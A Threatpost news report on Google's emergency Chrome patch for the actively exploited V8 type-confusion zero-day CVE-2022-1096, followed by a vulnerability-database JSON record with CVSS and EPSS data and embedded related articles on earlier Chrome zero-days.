Google has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that’s being actively exploited in the wild.
The bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has [laid out](<https://www.microsoft.com/security/blog/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/>) in the past, occurs “when a piece of code doesn’t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion…Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.”
Google didn’t provide additional technical details, as is its wont, but did say that it was “aware that an exploit for CVE-2022-1096 exists in the wild.” An anonymous researcher was credited with finding the issue, which is labeled “high-severity” (no CVSS score was given).
The lack of any further information is a source of frustration to some.
“As a defender, I really wish it was more clear what this security fix is,” John Bambenek, principal threat hunter at Netenrich, said via email. “I get permission-denied errors or ‘need to authenticate,’ so I can’t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.”
## **Emergency Patch; Active Exploit**
The internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its [security advisory](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>). Microsoft, which offers the Chromium-based Edge browser, also issued its [own advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-1096>). It’s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.
The patch was issued on an emergency basis, likely due to the active exploit that’s circulating, researchers noted.
“The first thing which stood out to me about this update is that it only fixes a single issue,” Casey Ellis, founder and CTO at Bugcrowd, noted by email. “This is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.”
He also commented on the speed of the patch being rolled out.
“The vulnerability was only reported on the 23rd of March, and while Google’s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,” he said. “Speculatively, I’d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.”
## **V8 Engine in the Crosshairs**
The V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:
Last year delivered a total of these 16 Chrome zero days:
* [CVE-2021-21148](<https://threatpost.com/google-chrome-zero-day-windows-mac/163688/>) – Feb. 4, an unnamed type of bug in V8
* [CVE-2021-21224](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224>) – April 20, an issue with type confusion in V8 that could have allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
* [CVE-2021-30551](<https://threatpost.com/chrome-browser-bug-under-attack/166804/>) –- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)
* [CVE-2021-30563](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30563>) – July 15, another type-confusion bug in V8.
* [CVE-2021-30633](<https://threatpost.com/google-chrome-zero-day-exploited/169442/>) – Sept. 13, an out-of-bounds write in V8
* [CVE-2021-37975](<https://threatpost.com/google-emergency-update-chrome-zero-days/175266/>) – Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)
* [CVE-2021-38003](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38003>) – Oct. 28, an inappropriate implementation in V8
* [CVE-2021-4102](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4102>) – Dec. 13, a use-after-free bug in V8.
_**Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our **_[_**FREE downloadable eBook**_](<https://bit.ly/3Jy6Bfs>)_**, “Cloud Security: The Forecast for 2022.”**_ _**We explore organizations’ top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists.**_
{"id": "THREATPOST:45B63C766965F5748AEC30DE709C8003", "vendorId": null, "type": "threatpost", "bulletinFamily": "info", "title": "Google Chrome Bug Actively Exploited as Zero-Day", "description": "Google has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that\u2019s being actively exploited in the wild.\n\nThe bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has [laid out](<https://www.microsoft.com/security/blog/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/>) in the past, occurs \u201cwhen a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion\u2026Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.\u201d\n\nGoogle didn\u2019t provide additional technical details, as is its wont, but did say that it was \u201caware that an exploit for CVE-2022-1096 exists in the wild.\u201d An anonymous researcher was credited with finding the issue, which is labeled \u201chigh-severity\u201d (no CVSS score was given).\n\nThe lack of any further information is a source of frustration to some.\n\n\u201cAs a defender, I really wish it was more clear what this security fix is,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cI get permission-denied errors or \u2018need to authenticate,\u2019 so I can\u2019t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.\u201d\n\n## **Emergency Patch; Active Exploit**\n\nThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its [security advisory](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>). Microsoft, which offers the Chromium-based Edge browser, also issued its [own advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-1096>). It\u2019s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.\n\nThe patch was issued on an emergency basis, likely due to the active exploit that\u2019s circulating, researchers noted.\n\n\u201cThe first thing which stood out to me about this update is that it only fixes a single issue,\u201d Casey Ellis, founder and CTO at Bugcrowd, noted by email. \u201cThis is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.\u201d\n\nHe also commented on the speed of the patch being rolled out.\n\n\u201cThe vulnerability was only reported on the 23rd of March, and while Google\u2019s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,\u201d he said. \u201cSpeculatively, I\u2019d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.\u201d\n\n## **V8 Engine in the Crosshairs**\n\nThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:\n\nLast year delivered a total of these 16 Chrome zero days:\n\n * [CVE-2021-21148](<https://threatpost.com/google-chrome-zero-day-windows-mac/163688/>) \u2013 Feb. 4, an unnamed type of bug in V8\n * [CVE-2021-21224](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224>) \u2013 April 20, an issue with type confusion in V8 that could have allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.\n * [CVE-2021-30551](<https://threatpost.com/chrome-browser-bug-under-attack/166804/>) \u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n * [CVE-2021-30563](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30563>) \u2013 July 15, another type-confusion bug in V8.\n * [CVE-2021-30633](<https://threatpost.com/google-chrome-zero-day-exploited/169442/>) \u2013 Sept. 13, an out-of-bounds write in V8\n * [CVE-2021-37975](<https://threatpost.com/google-emergency-update-chrome-zero-days/175266/>) \u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n * [CVE-2021-38003](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38003>) \u2013 Oct. 28, an inappropriate implementation in V8\n * [CVE-2021-4102](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4102>) \u2013 Dec. 13, a use-after-free bug in V8.\n\n_**Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our **_[_**FREE downloadable eBook**_](<https://bit.ly/3Jy6Bfs>)_**, \u201cCloud Security: The Forecast for 2022.\u201d**_ _**We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists.**_\n", "published": "2022-03-30T16:14:30", "modified": "2022-03-30T16:14:30", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.3}, "severity": "HIGH", "exploitabilityScore": 8.6, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 10.0, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, "href": "https://threatpost.com/google-chrome-bug-actively-exploited-zero-day/179161/", "reporter": "Tara Seals", "references": ["https://www.microsoft.com/security/blog/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/", "https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-1096", "https://threatpost.com/google-chrome-zero-day-windows-mac/163688/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224", "https://threatpost.com/chrome-browser-bug-under-attack/166804/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30563", "https://threatpost.com/google-chrome-zero-day-exploited/169442/", "https://threatpost.com/google-emergency-update-chrome-zero-days/175266/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4102", "https://bit.ly/3Jy6Bfs"], "cvelist": ["CVE-2015-0336", "CVE-2021-21148", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30563", "CVE-2021-30633", "CVE-2021-37975", "CVE-2021-38003", "CVE-2021-4102", "CVE-2021-44228", "CVE-2022-1096"], "immutableFields": [], "lastseen": "2022-03-30T16:18:23", "viewCount": 134, "enchantments": {"score": {"value": -0.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "akamaiblog", "idList": ["AKAMAIBLOG:61BDCEC3AEF8E6FC9E12623DB54E8144", "AKAMAIBLOG:65F0FA2139A357151F74FA41EF42B50F", "AKAMAIBLOG:7E872DA472DB19F259EC6E0D8CA018FF", "AKAMAIBLOG:B0985AEDEB4DAED26BDA30B9488D329D", "AKAMAIBLOG:B0DBF0121097FA293565FB7E66E09AB3"]}, {"type": "altlinux", "idList": ["B16F9A5008F46A2360B5F08CA6D53504", "CEF4BBB66E682C8C7D7AD9CB0951E0EE"]}, {"type": "amazon", "idList": ["ALAS-2021-1553", "ALAS-2021-1554", "ALAS-2022-1580", "ALAS-2022-1601", "ALAS2-2021-1730", "ALAS2-2021-1731", "ALAS2-2021-1732", "ALAS2-2022-1739", "ALAS2-2022-1773", "ALAS2-2022-1806"]}, {"type": "amd", "idList": ["AMD-SB-1034"]}, {"type": "apple", "idList": ["APPLE:251C897D47AD6A2DB0B7E3792A81C425"]}, {"type": "archlinux", "idList": ["ASA-201503-11", "ASA-202102-4", "ASA-202102-6", "ASA-202104-5", "ASA-202104-7", "ASA-202106-31", "ASA-202106-32", "ASA-202106-45", "ASA-202107-2", "ASA-202107-30", "ASA-202107-31", "ASA-202107-46", "ASA-202109-6", "ASA-202110-7", "ASA-202111-8", "ASA-202112-1"]}, {"type": "atlassian", "idList": ["CRUC-8529", "FE-7368"]}, {"type": "attackerkb", "idList": ["AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94", "AKB:160D34D9-2175-4B27-87F8-0CED51121F50", "AKB:21AD0A36-A0AA-486B-A379-B47156286E9E", "AKB:21C170FF-C7C6-4BFB-8AED-613970EDA44C", "AKB:3191CCF9-DA8E-43DF-8152-1E3A5D1A3C45", "AKB:398CAD69-31E4-4276-B510-D93B2C648A74", "AKB:411A7B9E-A187-43CF-8DA1-E0E921F590D1", "AKB:624AC3C7-B310-4975-8649-2694A0CF4962", "AKB:6D883363-6A9C-411A-8D48-5872842B65D3", "AKB:732A3017-A62C-4347-9709-9B8790F47FA1", "AKB:9D905B34-8121-41F5-8B42-E3A825212673", "AKB:B1318EAC-2E60-4695-B63B-2D10DAAA5B0E", "AKB:B61D2687-96CE-4CE9-939F-9E35DA7814C4", "AKB:C21CBC3B-DA85-49D2-A7A6-9061F5B01CF9", "AKB:C300BC5A-FE8F-4274-AFA8-C1F47411FEC1", "AKB:D986B627-DA84-4C1B-8D20-5ADF751B05BF", "AKB:F2A441BA-2246-446C-9B34-400B2F3DD77B"]}, {"type": "avleonov", "idList": ["AVLEONOV:469525DB37AAC7A2242EE80C1BCBC8DB", "AVLEONOV:535BC5E36A5D2C8F60753A2CD4676692", "AVLEONOV:89C75127789AC2C132A3AA403F035902", "AVLEONOV:B6F052DA6F44A6D3C449552BB1B53A9A", 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"CISA:920F1DA8584B18459D4963D91C8DDA33", "CISA:F3C70D08CAE58CBD29A5E5ED6B2AE473", "CISA:F9916EF5EF9E126FF62CF4162B96669F"]}, {"type": "cisco", "idList": ["CISCO-SA-APACHE-LOG4J-QRUKNEBD"]}, {"type": "citrix", "idList": ["CTX335705"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:690C01663F820378948F8CF2E2405F72"]}, {"type": "cve", "idList": ["CVE-2015-0334", "CVE-2015-0336", "CVE-2021-21148", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30563", "CVE-2021-30633", "CVE-2021-3100", "CVE-2021-37975", "CVE-2021-38003", "CVE-2021-4102", "CVE-2021-4104", "CVE-2021-44228", "CVE-2021-44530", "CVE-2021-45046", "CVE-2022-0070", "CVE-2022-1096", "CVE-2022-23848", "CVE-2022-33915"]}, {"type": "debian", "idList": ["DEBIAN:DLA-2842-1:95CB4", "DEBIAN:DSA-4858-1:7131E", "DEBIAN:DSA-4906-1:4BE22", "DEBIAN:DSA-5020-1:32A64", "DEBIAN:DSA-5022-1:D26EE", "DEBIAN:DSA-5046-1:A18C0", "DEBIAN:DSA-5110-1:CD232"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-21148", "DEBIANCVE:CVE-2021-21224", "DEBIANCVE:CVE-2021-30551", "DEBIANCVE:CVE-2021-30563", "DEBIANCVE:CVE-2021-30633", "DEBIANCVE:CVE-2021-37975", "DEBIANCVE:CVE-2021-38003", "DEBIANCVE:CVE-2021-4102", "DEBIANCVE:CVE-2021-4104", "DEBIANCVE:CVE-2021-44228", "DEBIANCVE:CVE-2021-45046", "DEBIANCVE:CVE-2022-1096"]}, {"type": "exploitdb", "idList": ["EDB-ID:36962", "EDB-ID:50590", "EDB-ID:50592"]}, {"type": "f5", "idList": ["F5:K19026212", "F5:K24554520", "F5:K32171392", "F5:K34002344"]}, {"type": "fedora", "idList": ["FEDORA:0A343304CB93", "FEDORA:0BF68306D452", "FEDORA:10E2D309BE14", "FEDORA:12FCA30F5428", "FEDORA:1E8AD3056996", "FEDORA:210C430584A5", "FEDORA:25D31307CC0A", "FEDORA:4CD8430AA7AD", "FEDORA:4E16930B130B", "FEDORA:548FD3102AB0", "FEDORA:59AA230A7074", "FEDORA:5C0DB31397D8", "FEDORA:6987B3049380", "FEDORA:75CA430AA7A6", "FEDORA:95A5B306879A", "FEDORA:993DD30E4796", "FEDORA:A5A703103140", "FEDORA:AA2993092FBD", "FEDORA:B4C4A30D8539", "FEDORA:BB03930B3A56", "FEDORA:BC8983072E0A", "FEDORA:BE52E30CCCAA", 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"1337DAY-ID-37228", "1337DAY-ID-37257", "1337DAY-ID-37264", "1337DAY-ID-37889"]}]}, "epss": [{"cve": "CVE-2015-0336", "epss": "0.958010000", "percentile": "0.990320000", "modified": "2023-03-19"}, {"cve": "CVE-2021-21148", "epss": "0.013990000", "percentile": "0.843730000", "modified": "2023-03-19"}, {"cve": "CVE-2021-21224", "epss": "0.969350000", "percentile": "0.995020000", "modified": "2023-03-19"}, {"cve": "CVE-2021-30551", "epss": "0.335030000", "percentile": "0.963590000", "modified": "2023-03-19"}, {"cve": "CVE-2021-30563", "epss": "0.004020000", "percentile": "0.695580000", "modified": "2023-03-19"}, {"cve": "CVE-2021-30633", "epss": "0.003400000", "percentile": "0.668660000", "modified": "2023-03-19"}, {"cve": "CVE-2021-37975", "epss": "0.573330000", "percentile": "0.971260000", "modified": "2023-03-19"}, {"cve": "CVE-2021-38003", "epss": "0.012950000", "percentile": "0.837380000", "modified": "2023-03-19"}, {"cve": "CVE-2021-4102", "epss": "0.003870000", "percentile": "0.690070000", "modified": "2023-03-19"}, {"cve": "CVE-2021-44228", "epss": "0.975780000", "percentile": "0.999980000", "modified": "2023-03-19"}, {"cve": "CVE-2022-1096", "epss": "0.002560000", "percentile": "0.616780000", "modified": "2023-03-19"}], "vulnersScore": -0.5}, "_state": {"dependencies": 1660004461, "score": 1698844884, "epss": 1679287418}, "_internal": {"score_hash": "1c8f962eaa9bbbda0c65b70a87198212"}}
{"threatpost": [{"lastseen": "2022-02-15T21:47:28", "description": "Google on Monday issued 11 security fixes for its Chrome browser, including a high-severity zero-day bug that\u2019s actively being jumped on by attackers in the wild.\n\nIn a brief update, Google [described](<https://chromereleases.googleblog.com/2022/02/stable-channel-update-for-desktop_14.html>) the weakness, tracked as [CVE-2022-0609](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0609>), as a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) vulnerability in Chrome\u2019s Animation component. This kind of flaw can lead to all sorts of misery, ranging from the corruption of valid data to the execution of arbitrary code on vulnerable systems. Such flaws can also be used to escape the browser\u2019s security sandbox.\n\n\u201cGoogle is aware of reports that an exploit for CVE-2022-0609 exists in the wild,\u201d according to its security update.\n\nChrome users can fix it straight away, though, by going into the Chrome menu > Help > About Google Chrome.\n\nGiven that the zero day is under active attack, updating Chrome should be done ASAP.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/15125804/Chrome-zero-day-e1644947947750.png>)\n\nChrome security updates. Source: Google.\n\nCredit for the Animation zero day goes to Adam Weidemann and Cl\u00e9ment Lecigne, both from Google\u2019s Threat Analysis Group (TAG).\n\nMonday\u2019s update also plastered over four other high-severity use-after-free flaws found in Chrome\u2019s Webstore API, File Manager, [ANGLE](<https://en.wikipedia.org/wiki/ANGLE_\\(software\\)>) and GPU. As well, the company addressed a high-severity integer overflow in [Mojo](<https://chromium.googlesource.com/chromium/src/+/main/docs/mojo_and_services.md>), plus a high-severity h\u200beap buffer overflow in Tab Groups. Finally, Google patched a medium-severity issue with inappropriate implementation in Gamepad API.\n\n## And So It Begins\n\nThis is Chrome\u2019s first zero day of the year, and more are sure to follow. But at least we\u2019ve made it into the new-ish year 10 more days than we managed in 2021, when the first bug to hit arrived on Feb. 4.\n\nLast year delivered a total of these 16 Chrome zero days:\n\n * [CVE-2021-21148](<https://threatpost.com/google-chrome-zero-day-windows-mac/163688/>) \u2013 Feb. 4, a vulnerability in its V8 open-source web engine.\n * [CVE-2021-21166](<https://threatpost.com/google-patches-actively-exploited-flaw-in-chrome-browser/164468/>) \u2013 March 2, a flaw in the Audio component of Google Chrome.\n * [CVE-2021-21193](<https://threatpost.com/google-mac-windows-chrome-zero-day/164759/>) \u2013 March 12, a use-after-free flaw in Blink, [the browser engine for Chrome](<https://threatpost.com/google-high-severity-blink-browser-engine-flaw/147770/>) that was developed as part of the Chromium project.\n * [CVE-2021-21220](<https://threatpost.com/chrome-zero-day-exploit-twitter/165363/>) \u2013 April 13, a remote-code execution issue.\n * [CVE-2021-21224](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224>) \u2013 April 20, an issue with type confusion in V8 in Google Chrome that could have allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.\n * [CVE-2021-30551](<https://threatpost.com/chrome-browser-bug-under-attack/166804/>) \u2013- June 9, a type confusion bug within Google\u2019s V8 open-source JavaScript and WebAssembly engine.\n * [CVE-2021-30554](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30554>) \u2013 June 17, a use-after-free bug.\n * [CVE-2021-30563](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30563>) \u2013 July 15, type confusion in V8.\n * [CVE-2021-30632 and CVE-2021-30633](<https://threatpost.com/google-chrome-zero-day-exploited/169442/>) \u2013 Sept. 13, an out-of-bounds write in V8 and a use-after-free bug in the IndexedDB API, respectively.\n * [CVE-2021-37973](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37973>) \u2013 Sept. 24, a use-after-free flaw in Portals.\n * [CVE-2021-37976 and CVE-2021-37975](<https://threatpost.com/google-emergency-update-chrome-zero-days/175266/>) \u2013 Sept. 30, an information leak in core and a use-after-free bug in V8, respectively.\n * [CVE-2021-38000](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38000>) and [CVE-2021-38003](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38003>) \u2013 Oct. 28, an issue with Insufficient validation of untrusted input in Intents in Google Chrome on Android, and an inappropriate implementation in V8 respectively.\n * [CVE-2021-4102](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4102>) \u2013 Dec. 13, a use after free in V8.\n\n**_Join Threatpost on Wed. Feb 23 at 2 PM ET for a [LIVE roundtable discussion](<https://threatpost.com/webinars/protect-sensitive-cloud-data/?utm_source=Website&utm_medium=Article&utm_id=Keeper+Webinar>) \u201cThe Secret to Keeping Secrets,\u201d sponsored by Keeper Security, focused on how to locate and lock down your organization\u2019s most sensitive data. Zane Bond with Keeper Security will join Threatpost\u2019s Becky Bracken to offer concrete steps to protect your organization\u2019s critical information in the cloud, in transit and in storage. [REGISTER NOW](<https://threatpost.com/webinars/protect-sensitive-cloud-data/?utm_source=Website&utm_medium=Article&utm_id=Keeper+Webinar>) and please Tweet us your questions ahead of time @Threatpost so they can be included in the discussion._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-15T18:33:28", "type": "threatpost", "title": "Chrome Zero-Day Under Active Attack: Patch ASAP", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-4102", "CVE-2021-44228", "CVE-2022-0609"], "modified": "2022-02-15T18:33:28", "id": "THREATPOST:3697F9293A6DFF6CD5927E9E68FF488A", "href": "https://threatpost.com/google-chrome-zero-day-under-attack/178428/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-06-10T20:47:57", "description": "Google is warning that a bug in its Chrome web browser is actively under attack, and it is urging users to upgrade to the latest 91.0.4472.101 version to mitigate the issue.\n\nIn all, Google rolled out fixes for 14 bugs impacting its Windows, Mac and Linux browsers as part of its June update [to the Chrome desktop browser](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop.html>).\n\n\u201cGoogle is aware that an exploit for CVE-2021-30551 exists in the wild,\u201d wrote Chrome technical program manager Prudhvikumar Bommana [in a Wednesday post](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop.html>). That exploit is identified as a type confusion bug within Google\u2019s V8 open-source JavaScript and WebAssembly engine. \n[](<https://threatpost.com/newsletter-sign/>)The confusion vulnerability is tied to the browser\u2019s ActionScript Virtual Machine. \u201cUsually, when a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion,\u201d according to a [technical description of the bug](<https://www.microsoft.com/security/blog/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/#:~:text=The%20vulnerability%20is%20a%20%E2%80%9Ctype,it%20leads%20to%20type%20confusion.>).\n\n## **Possible Wider Impact of Exploited Chrome Browser Bug **\n\nThe update coincides with the release of the Android Chrome browser to Chrome 91 (91.0.4472.101), also [on Wednesday](<https://chromereleases.googleblog.com/2021/06/chrome-for-android-update_01297860997.html>). While the desktop and mobile versions of the Chrome web browser share the same version number, it is unclear if the updated Android Chrome browser is impacted by the same vulnerabilities.\n\nAlso unclear is if Microsoft\u2019s Edge browser, based on the Chromium open-source browser codebase (principally developed and maintained by Google), is also impacted.\n\nIn related news, on Tuesday, Microsoft released a patch for vulnerabilities under active attack, including [CVE-2021-33742](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33742>), impacting its Edge browser. That bug [is a remote-code execution](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) (RCE) vulnerability within the Edge browser\u2019s MSHTML component.\n\n\u201cThe MSHTML platform is used by Internet Explorer mode in Microsoft Edge as well as other applications through WebBrowser control,\u201d Microsoft explained.\n\n## **Critical Browser Cache Bug: CVE-2021-30544**\n\nAs part of the June Chrome update, Google patched a critical use-after-free bug (CVE-2021-30544) within the browser\u2019s optimization engine called BFCache. This browser component enables back-and-forward navigation between cached webpages within Chrome.\n\nAs customary with recently disclosed bugs, Google did not release the details tied to any of the vulnerabilities patched Wednesday. \u201cAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third-party library that other projects similarly depend on, but haven\u2019t yet fixed,\u201d the Google advisory stated.\n\nGoogle credits Rong Jian and Guang Gong of 360 Alpha Lab for finding the BFCache bug in May. For their bug hunting efforts, the pair earned $25,000.\n\n**Download our exclusive FREE Threatpost Insider eBook, ****_\u201c_**[**_2021: The Evolution of Ransomware_**](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>)**_,\u201d_**** to help hone your cyber-defense strategies against this growing scourge. We go beyond the status quo to uncover what\u2019s next for ransomware and the related emerging risks. Get the whole story and **[**DOWNLOAD**](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>)** the eBook now \u2013 on us!**\n", "cvss3": {}, "published": "2021-06-10T20:07:53", "type": "threatpost", "title": "Chrome Browser Bug Under Active Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-0336", "CVE-2021-30544", "CVE-2021-30551", "CVE-2021-33742"], "modified": "2021-06-10T20:07:53", "id": "THREATPOST:DE317ED7C5E4858FE861A15F96F6BCFD", "href": "https://threatpost.com/chrome-browser-bug-under-attack/166804/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-14T15:21:25", "description": "Google has addressed two zero-day security bugs that are being actively exploited in the wild.\n\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\n\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, [issued Monday](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>).\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n * CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n * CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws [can result in](<https://cwe.mitre.org/data/definitions/787.html>) corruption of data, a crash or code execution. Use-after-free issues [can result in](<https://cwe.mitre.org/data/definitions/416.html>) any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\n\nV8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected 